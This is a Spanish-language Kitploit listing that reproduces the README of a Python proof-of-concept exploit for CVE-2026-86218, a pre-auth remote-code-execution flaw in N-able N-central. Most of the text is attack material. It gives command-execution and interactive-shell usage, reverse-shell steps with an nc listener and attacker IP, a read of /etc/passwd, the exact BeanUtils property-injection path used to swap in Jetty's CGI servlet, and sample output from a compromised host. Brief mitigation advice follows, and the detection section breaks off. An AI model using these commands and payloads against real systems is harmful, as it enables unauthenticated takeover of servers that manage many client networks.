Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-86218 — Prueba de concepto en Python 3 para CVE-2026-86218, un RCE pre-auth en N-able N-central mediante una condición de carrera multipart de Struts, con ejecución de comandos y soporte para reverse shell. | Kitploit
Herramientas/GitHubGitHub/super-meuw/cve-2026-86218
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPost-ExplotaciónPruebas de PenetraciónRed TeamingHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubsuper-meuw/cve-2026-86218

CVE-2026-86218

Prueba de concepto en Python 3 para CVE-2026-86218, un RCE pre-auth en N-able N-central mediante una condición de carrera multipart de Struts, con ejecución de comandos y soporte para reverse shell.

41hace 25 díasAún no revisado
Ver Repositorio

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-86218 - Exploit de RCE Pre-Auth en N-able N-central

Descripción general

Este es un exploit de prueba de concepto en Python 3 para CVE-2026-86218, una vulnerabilidad crítica de ejecución remota de código previa a la autenticación en N-able N-central.

Detalles de la vulnerabilidad:

  • CVE: CVE-2026-86218
  • Puntuación CVSS: 10.0 (Crítica)
  • CWE: CWE-96 (Inyección de código estático)
  • Versiones afectadas: N-central < 2026.3.1.14
  • Vector de ataque: Red (No autenticado)

Descripción de la vulnerabilidad

N-able N-central utiliza un formulario Struts con ámbito de sesión en una acción no autenticada (/remoteControlAction.do). Dos solicitudes multipart concurrentes pueden provocar una condición de carrera en el manejador multipart del formulario y exponer la configuración activa de Jetty a la población de propiedades de Commons BeanUtils. Esto permite a un atacante:

  1. Reemplazar un contenedor de servlet perezoso de N-central (por ejemplo, LogRetrieval) con el servlet CGI incluido en Jetty
  2. Configurar el servlet CGI para ejecutar comandos arbitrarios mediante /bin/sh -s
  3. Enviar comandos a través del mapeo de URL del servlet reemplazado

Requisitos

pip install requests

Uso

Sintaxis básica

python3 CVE-2026-86218.py -t <target_url> [options]

Opciones

OpciónDescripción
-t, --targetURL de N-central objetivo (por ejemplo, https://192.168.1.100)
-c, --commandComando único a ejecutar
-i, --interactiveModo de comando interactivo
--lhostIP del listener para reverse shell
--lportPuerto del listener (predeterminado: 4444)
--servletServlet a reemplazar: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet
--checkComprobar si el objetivo es vulnerable
--no-verify-sslDeshabilitar la verificación del certificado SSL
--timeoutTiempo de espera de la solicitud (predeterminado: 30s)
--race-delayRetardo de la condición de carrera (predeterminado: 0.35s)
-v, --verboseHabilitar salida detallada

Ejemplos

1. Comprobar si el objetivo es vulnerable

python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

Salida esperada:

[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

2. Ejecutar un único comando

python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

Salida esperada:

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

3. Reverse Shell

Iniciar el listener primero:

nc -lvnp 4444

Ejecutar el exploit:

python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

Salida esperada:

[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

Salida del listener:

listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

4. Modo interactivo

python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

Sesión interactiva:

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

5. Usar un servlet diferente

# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

Opciones de servlet

ServletDescripciónImpacto
LogRetrievalEndpoint de recuperación de logs (predeterminado)Menos disruptivo, logs no disponibles hasta el reinicio
FileTransferEndpoint de transferencia de archivosInterrumpe la funcionalidad de transferencia de archivos
AutomationManagerDownloadServletDescarga del gestor de automatizaciónRequiere el puerto de la interfaz de gestión (8443)

Cómo funciona

Flujo de explotación

  1. Comprobación de versión: Consultar /remoteControlAction.do para extraer la versión de la página de error
  2. Adquisición de sesión: Obtener un JSESSIONID no autenticado
  3. Condición de carrera:
    • Enviar una solicitud multipart lenta que se pausa durante el análisis
    • Mientras está pausada, enviar una solicitud auxiliar para instalar el manejador en el formulario compartido
    • Reanudar la solicitud lenta con campos de inyección de propiedades de BeanUtils
  4. Reemplazo de servlet: Reemplazar LogRetrieval con el servlet CGI de Jetty
  5. Ejecución de comandos: Enviar comandos a través del endpoint CGI

Detalles técnicos

La vulnerabilidad explota una condición de carrera en el manejo de formularios multipart de Struts:

  • Struts almacena un objeto de formulario por sesión HTTP
  • Al inicio de una solicitud multipart, Struts elimina el manejador multipart del formulario
  • Una solicitud lenta se pausa mientras Struts todavía está leyendo el cuerpo
  • Una solicitud auxiliar finaliza e instala su manejador inicializado
  • Cuando la solicitud lenta continúa, BeanUtils sigue los nombres de campo manipulados a través del manejador
  • Estos campos navegan hasta el WebAppContext de Jetty y reemplazan el contenedor del servlet

Los campos de mutación utilizan rutas de propiedades JavaBean:

multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass

Esto recorre: manejador multipart → contexto del servlet → classloader → WebAppContext → manejador de servlets → contenedor específico

Mitigación

  1. Aplicar el parche inmediatamente: Actualizar a N-central 2026.3.1.14 o posterior
  2. Restringir el acceso: Limitar el acceso entrante a la consola de N-central
  3. Segmentación de red: Colocar N-central detrás de una VPN o lista de IP permitidas
  4. Monitorizar los logs: Buscar actividad sospechosa en la API y creación de usuarios

Detección

Indicadores en logs

Descargar herramienta